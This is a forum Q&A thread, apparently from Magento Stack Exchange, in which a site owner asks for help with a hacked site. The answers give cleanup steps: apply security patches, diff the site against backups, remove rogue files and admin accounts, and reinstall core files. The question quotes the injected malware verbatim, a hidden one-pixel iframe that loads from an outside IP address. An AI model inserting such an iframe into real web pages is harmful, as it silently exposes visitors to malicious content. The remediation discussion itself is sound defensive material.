2

my website was hacked and know it contains an <iframe> malware according with Google Webmaster Tools. It appears to be in a page that doesn't exist, example: domain.com/?page_id=4712

And this is the script malware:

<iframe src="http://77.221.145.25/admincpxc/?954Y"width="1" height="1" frameborder="0">
Improve this question
2
  • look in your templates or your db for that code.
    – Marius ♦
    Commented Sep 22, 2015 at 12:05
  • diff backup of current code base against known good backup (pre-infection) of old code base. Look for .php files that are out of place (in media and skin directory trees). Look for inserted admin users and magepleasure module (often installed after exploits).
    – Fiasco Labs
    Commented Sep 22, 2015 at 16:05

2 Answers 2

Reset to default
1

Got totally same problem. This is a remote code execution exploit. You need to install SUPEE-5344, SUPEE-1533. And read this article: http://magento.com/security-patch

Be sure to clear all malicious files. Go to skin/skinmain.php and look on it's creation date. Delete all the files with same creation date. It may be enough. Install patches after that.

I'm still cleaning it myself. Can't acces users control panel. Guess there's new admins there to be found. Good luck.

Improve this answer
2
  • I don't have nothing with the name skinmain.php on skin folder. I have access on my admin. I'm trying update magento to 1.9.2.1
    – nunof
    Commented Sep 22, 2015 at 14:27
  • Not sure in your case but currently lot of Magento website are blacklisted by google. Checkout this blog post, explains everything in detail with the steps to remove, magecomp.com/blog/guruincsite-magento-malware-removal-guide
    – Gaurav Jain
    Commented Oct 20, 2015 at 8:58
0
  1. Google "PHP PCI compliance". This will be a good start in your goal of keeping rogue scripts from communicating with remote URLS and from executing malicious code. Selling online, you should be PCI compliant anyway or sending your customers to checkout on PayPal or the like.
  2. Back up your website.
  3. Turn off apache (if that is what you use) so that the scripts cannot reinstall themselves.
  4. Reinstall Magento core files for your version of Magento - ideally you should compare your files to fresh install files and only replace those that seem suspicious.
  5. Ensure all files meet Magento's recommended permissions and ownership.
  6. Check the integrity of local override files (for example, files in app/code/local/Mage - specifically app/code/local/Mage/Core/functions.php, this file has been exploited on site in the past. ) Get rid of any local modifications that you do not need.
  7. Turn on apache and install all patches that you do not yet have.
Improve this answer

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.